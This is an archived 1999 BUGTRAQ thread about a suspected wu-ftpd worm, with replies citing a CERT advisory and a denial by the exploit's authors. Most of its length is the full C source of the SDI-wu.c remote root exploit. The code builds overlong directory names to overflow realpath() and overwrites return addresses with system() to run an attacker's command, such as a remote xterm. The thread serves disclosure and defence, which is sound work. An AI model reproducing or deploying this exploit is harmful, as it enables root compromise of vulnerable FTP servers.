Date: Wed, 14 Apr 1999 02:19:17 -0300 From: Stu Alchor To: BUGTRAQ@netspace.org Subject: Possible WU-ftpd Worm ? I'm a system administrator of a educational domain which deals with information and technology. During the last 2 weeks, a our network have been acting very weird, with a lot of traffic in one of our main machines. By joining our computer response team, we've soon identified a intruder activity, who was running scripts and exploiting another hosts around. But what took my attention is that he had a script called ftp-w0rm.tgz which was able to look for ftpd bug around the world, exploit it and reproduce the script like the worm. We found out that once the worm gets in a new host, it will install a backdoor (bindcode) in the port 31337 and starts the new scan. By taking a look at the time stamp, the intruder is running this toy since march. As I've run the old ftp exploit I found in the bugtraq and they didn't work so I thought we were not vulnerable. I will attach the core of the ftp worm (SDI-wu.c), the exploit for the vulnerability, which, btw, worked in my host. I will not include the source for the worm. Our computer response team have been contacted to verify the code. -- Begin of file -- /* * SDI wu-ftpd exploit for Linux (Feb 20, 1999) * * http://www.sekure.org - Brazilian Information Security Team. * * Source by jamez (jamez@sekure.org) * c0nd0r (condor@sekure.org) * * This source will let you execute remote commands as root if you have * write access on the ftp server. * * Usage: * * gcc SDI-wu.c -o SDI-wu * * ./SDI-wu host user password dir command type [port] [align] * * host: the victim (ftp.microsoft.com) * user: ftp user with write access (anonymous) * password: the password for the user (foo@bar.com) * dir: the directory you have access (/incoming) * command: the command ("/usr/X11R6/bin/xterm -display www.host.com:0") * type: system type (see below) * port: ftp port (21 default) * align: the alignment (default 3) * * * Limitations: * * because I've used hard coded address's for system and the command, * the values wont be the same in others compilations of wu-ftpd. * so, you will need to find the address for the version * you want to exploit. * * because we are not using the stack to put our code, the exploit * will work as well against a non-executable stack patch. * * * RECOMENDATION = Please, run gdb through the wu.ftpd binary in order to * find out your "system address" (ie: print system) and write it down * so you can have more address to try - just overwrite the default addr * and choose type (3). * * * Thanks for the sekure SDI: * fcon, bishop, dumped, bahamas, slide, vader, yuckfoo. * * Also thanks for #uground (irc.brasnet.org) and * chaosmaker, c_orb(efnet) * */ #include #include #include #include #include #include #define MAXLEN 255 #define BSIZE 1024 struct sockaddr_in sa; struct hostent *he; char c = 'A'; char host[255], user[255], pass[255], command[1024], buff[2040], tmp[3060], netbuf[2040], dir[255]; int sd, i, offset = 0, dirsize = 0, port=21, doit = 0, done = 0, todo = 0, align = 3, tipo = 0; /* CUSTOM ADDRESS, CHANGE IT IN ORDER TO EXPLOIT ANOTHER BOX */ #define SYSADDR 0x40043194; #define EGGADDR 0x805f1dc; long systemaddr; long shelladdr; void usage(char * s) { printf(" \nSDI wu-ftpd remote exploit (http://www.sekure.org)\n\n"); printf(" %s host user password dir command [port] [align]\n\n", s); printf(" host: the victim (ftp.microsoft.com)\n"); printf(" user: ftp user with write access (anonymous)\n"); printf(" password: the password for the user (foo@bar.com)\n"); printf(" dir: the directory you have permission to write (/incoming)\n"); printf(" command: the command (\"/usr/X11R6/bin/xterm -display www.host.com:0\")\n"); printf(" type: see below\n"); printf(" port: ftp port (21 default)\n"); printf(" align: the alignment (3 default)\n"); printf("\n type:\n 0 - slak3.4 ver 2.4(4)\n 1 - slak3.4 ver beta-15&18"); printf("\n 2 - slak3.3 ver 2.4(2)"); printf("\n 3 - custom (change the code)\n\n See Netect advisory - "); printf(" this is not suppose to be released soon! (Feb,1999)\n\n"); } void get_dirsize() { strcpy ( tmp, "PWD"); strcat ( tmp, "\n"); write ( sd, tmp, strlen(tmp)); read ( sd, netbuf, sizeof(netbuf)); for(i = 0; i < strlen(netbuf); i++) if(netbuf[i] == '\"') break; dirsize = 0; for(i++; i < strlen(netbuf); i++) if(netbuf[i] == '\"') break; else dirsize++; bzero ( &netbuf, sizeof(netbuf)); } int main (int argc, char *argv[]) { if (argc < 7) { usage(argv[0]); exit(0); } sprintf(host, "%s", argv[1]); sprintf(user, "%s", argv[2]); sprintf(pass, "%s", argv[3]); sprintf(dir, "%s", argv[4]); sprintf(command, "%s", argv[5]); tipo = atoi (argv[6]); printf ( "%d\n\n", tipo); if ( argc > 7) port = atoi(argv[7]); if ( argc > 8) align = atoi(argv[8]); if (tipo <= 0) { /* 2.4(4) libc5 slack 3.4 */ systemaddr = 0x400441f0; shelladdr = 0x80604a0; } else if (tipo == 1) { /* beta 15 libc5 slack 3.4 */ systemaddr = 0x400441f0; shelladdr = 0x8062510; } else if (tipo == 2) { /* 2.4(4) libc5 slack 3.3 */ systemaddr = 0x400441f0; shelladdr = 0x805f1e4; } else { /* CUSTOM ADDRESS */ systemaddr = SYSADDR; shelladdr = EGGADDR; } sd = socket ( AF_INET, SOCK_STREAM, 0); sa.sin_family = AF_INET; sa.sin_port = htons(port); he = gethostbyname (host); if (!he) { if ( (sa.sin_addr.s_addr = inet_addr(host)) == INADDR_NONE) { printf ( "wrong ip address or unknown hostname\n"); exit(0); } } else { bcopy ( he->h_addr, (struct in_addr *) &sa.sin_addr, he->h_length); } if ( connect ( sd, (struct sockaddr *) &sa, sizeof(sa)) < 0) { printf ( "Cannot connect to remote host: Connection refused\n"); exit(0); } read ( sd, netbuf, sizeof(netbuf)); printf ( "%s\n", netbuf); bzero ( &netbuf, sizeof(netbuf)); /* ok. we're connected. */ strcpy ( tmp, "USER "); strcat (tmp, user); strcat ( tmp, "\n"); write ( sd, tmp, strlen(tmp)); bzero ( &tmp, sizeof(tmp)); read ( sd, netbuf, sizeof(netbuf)); printf ( "%s\n", netbuf); bzero ( &netbuf, sizeof(netbuf)); /* ok. send the pass. */ strcpy ( tmp, "PASS "); strcat (tmp, pass); strcat ( tmp, "\n"); write ( sd, tmp, strlen(tmp)); bzero ( &tmp, sizeof(tmp)); read ( sd, netbuf, sizeof(netbuf)); if ( netbuf[0] == '5') { printf ("Login incorrect!\n"); exit(0); } printf ( "%s\n", netbuf); #ifdef DEBUG printf ( "Ok, we're on! Press any key to exploit it\n"); gets(netbuf); #endif bzero ( &netbuf, sizeof(netbuf)); /* ok. let's get to the vulnerable dir */ strcpy ( tmp, "CWD "); strcat (tmp, dir); strcat ( tmp, "\n"); write ( sd, tmp, strlen(tmp)); bzero ( &tmp, sizeof(tmp)); read ( sd, netbuf, sizeof(netbuf)); printf ( "%s\n", netbuf); bzero ( &netbuf, sizeof(netbuf)); get_dirsize(); /* gets home dir size */ todo = BSIZE - dirsize - 60 - 4; /* ok, we're on. let's get things working here! */ while(done < todo) { if((todo - done) > 255) doit = 255; else doit = todo - done; for (i = 0; i < doit; i++) buff[i] = c; buff[doit] = '\0'; strcpy ( tmp, "MKD "); strcat ( tmp, buff); strcat ( tmp, "\n"); write ( sd, tmp, strlen(tmp)); read ( sd, netbuf, sizeof(netbuf)); if ( netbuf[1] == '2') { printf ("error while creating the dir, let's try another name...\n\n"); c++; continue; } else done += doit; bzero ( &tmp, sizeof(tmp)); bzero ( &netbuf, sizeof(netbuf)); strcpy ( tmp, "CWD "); strcat ( tmp, buff); strcat ( tmp, "\n"); write ( sd, tmp, strlen(tmp)); read ( sd, netbuf, sizeof(netbuf)); if ( netbuf[0] == '5') { printf ("error while exploiting the remote host: Cannot cd dir!\n\n"); } bzero ( &tmp, sizeof(tmp)); bzero ( &netbuf, sizeof(netbuf)); } /* prepare last one */ memset(buff, 'X', MAXLEN); for(i = align; i < 100; i += 4) { buff[i ] = systemaddr & 0x000000ff; buff[i+1] = (systemaddr & 0x0000ff00) >> 8; buff[i+2] = (systemaddr & 0x00ff0000) >> 16; buff[i+3] = (systemaddr & 0xff000000) >> 24; } buff[i++] = shelladdr & 0x000000ff; buff[i++] = (shelladdr & 0x0000ff00) >> 8; buff[i++] = (shelladdr & 0x00ff0000) >> 16; buff[i++] = (shelladdr & 0xff000000) >> 24; strcat(command, ";"); memcpy(buff+140, command, strlen(command)); buff[MAXLEN] = '\0'; strcpy ( tmp, "MKD "); strcat ( tmp, buff); strcat ( tmp, "\n"); write ( sd, tmp, strlen(tmp)); read ( sd, netbuf, sizeof(netbuf)); bzero ( &tmp, sizeof(tmp)); bzero ( &netbuf, sizeof(netbuf)); /* ok. */ printf ( "Exploiting %s\n", dir); printf ( "Using 0x%x(system) and 0x%x(command), alignment = %d, port = %d\n", systemaddr, shelladdr, align, port); printf("\nI guess you're a hax0r now :D.\n"); close (sd); } -- End of File (SDI-wu.c) -- ---------------------------------------------- Stu A. - SysADM of Sao Paulo Technical College E-mail stu@cefetsp.br Fone +5511-37601201 stu@hotmail.com Sao Paulo - Brazil ---------------------------------------------- --------------------------------------------------------------------------- Date: Wed, 14 Apr 1999 14:04:11 -0400 From: Gregory Newby To: BUGTRAQ@netspace.org Subject: Re: Possible WU-ftpd Worm ? On Wed, 14 Apr 1999, Stu Alchor wrote: > I'm a system administrator of a educational domain which deals with > ... > But what took my attention is that he had a script called ftp-w0rm.tgz > which was able to look for ftpd bug around the world, exploit it and > reproduce the script like the worm. We found out that once the worm gets > in a new host, it will install a backdoor (bindcode) in the port 31337 > and starts the new scan. By taking a look at the time stamp, the intruder > is running this toy since march. I sent a message related to this two weeks ago which Aleph (evidently) chose not to post. The message and associated programs/documents is at http://blue.ils.unc.edu/Apr1/hack/ (blue-bugtraq.txt is the post). This program, like ADMwuftpd.c, exploits WRITE-able directories on your Linux FTP server. It then uses a hole in wu-ftpd (found in all versions, including the VR patches) to get a root shell. The program you included, Stu, seems to combine the scanning for a writable directory with the exploit. ADMwuftpd.c, which was posted to Bugtraq around the end of March, needs to be told where to run the exploit. Other programs (a few are available) actually look for writable directories. The hole is a buffer overflow for very long directory names. >From there, everything's easy... the program which started out as a remote FTP connection ends up as a root shell to the remote machine. You don't even get logged, because it's not an actual login. But the intruder could, of course, set up a username or do anything else s/he chooses. You mentioned that a backdoor was installed...sure, that's viable. Once you get that root shell, anything is fair game. The solution is simply to not have any world writeable directories under your anonymous FTP tree. This is good policy anyway, regardless of this particular exploit, because a world writeable directory is just an invitation for your site to be turned into a warez distribution point. -- Greg // Gregory B. Newby, Assistant Professor in the School of Information // and Library Science, University of North Carolina at Chapel Hill // CB# 3360 Manning Hall, Chapel Hill, NC, 27599-3360 E: gbnewby@ils.unc.edu // V: 919-962-8064 F: 919-962-8071 W: http://www.ils.unc.edu/~gbnewby/ --------------------------------------------------------------------------- Date: Wed, 14 Apr 1999 13:51:46 -0400 From: Gregory A Lundberg To: BUGTRAQ@netspace.org Subject: Re: Possible WU-ftpd Worm ? On Wed, 14 Apr 1999, Stu Alchor wrote: > As I've run the old ftp exploit I found in the bugtraq and they didn't > work so I thought we were not vulnerable. I will attach the core of > the ftp worm (SDI-wu.c), the exploit for the vulnerability, which, > btw, worked in my host. > strcpy ( tmp, "MKD "); strcat ( tmp, buff); strcat ( tmp, "\n"); This is the realpath() overflow discussed in http://www.cert.org/advisories/CA-99-03-FTP-Buffer-Overflows.html Please review that document to determine if your version of the WU-FTPD daemon is vulnerable. The addition of a backdoor (if true) is new, however. Anyone wishing to discuss this matter may contact me through either of the WU-FTPD discussion lists cc'd above or through private email. The location of the latest version of wu-ftpd can be found in the directory ftp://ftp.vr.net/pub/wu-ftpd/ wu-ftpd Resource Center: http://www.landfield.com/wu-ftpd/ wu-ftpd FAQ: http://www.cetis.hvu.nl/~koos/wu-ftpd-faq.html wu-ftpd list archive: http://www.landfield.com/wu-ftpd/mail-archive/ -- Gregory A Lundberg 1441 Elmdale Drive lundberg@wu-ftpd.org Kettering, OH 45409-1615 USA 1-888-977-5370 --------------------------------------------------------------------------- Date: Fri, 16 Apr 1999 02:08:22 -0300 From: Eduard Condor To: BUGTRAQ@netspace.org Subject: SDI-wu is NOT the worm We've been very surprised by the last message with subject "WU-ftp worm", which the author claims to be hit by a ftpd worm. As the authors of the code attached in that message, we would like to say that we have no connections with this worm and we've never seen such code before. That means we do NOT have the code. Sekure SDI is not a cracker group. Our exploit code has been made only for testing purpose and it was NOT suppose to be released. Also, we would like to make a little comment about the wu-ftpd exploit: - The SDI-wu code needs some fixes to work in Red Hat and other linux distribution. Script kiddies -> don't even try to run it! - The first exploit released (made by duke - I think ADMwuftpd) will not work. WU-ftpd will discard nulls characters so the return address (bf ff f3 c0) will not be passed to the stack, which means we cannot execute the instructions inserted in the buffer. It also will bring you to the reason we've not coded the exploit in the ordinary way. - Unlike the WU-ftp, the PROFTP will not accept some of the characters of the standard shellcode and exploit code, so it's much more difficult to exploit. I would say it's nearly impossible. I've received a lot of message asking about how to use the exploit, bla bla. We will NOT help kiddies with this tool. At last, I would like to make clear that Sekure SDI has nothing to do with this worm. Our goal is only to seek and provide security information. * PLEASE, updated your wu-ftpd to the newest version! * Thank you, -condor www.sekure.org s e k u r e pgp key available at: http://condor.sekure.org/condor.asc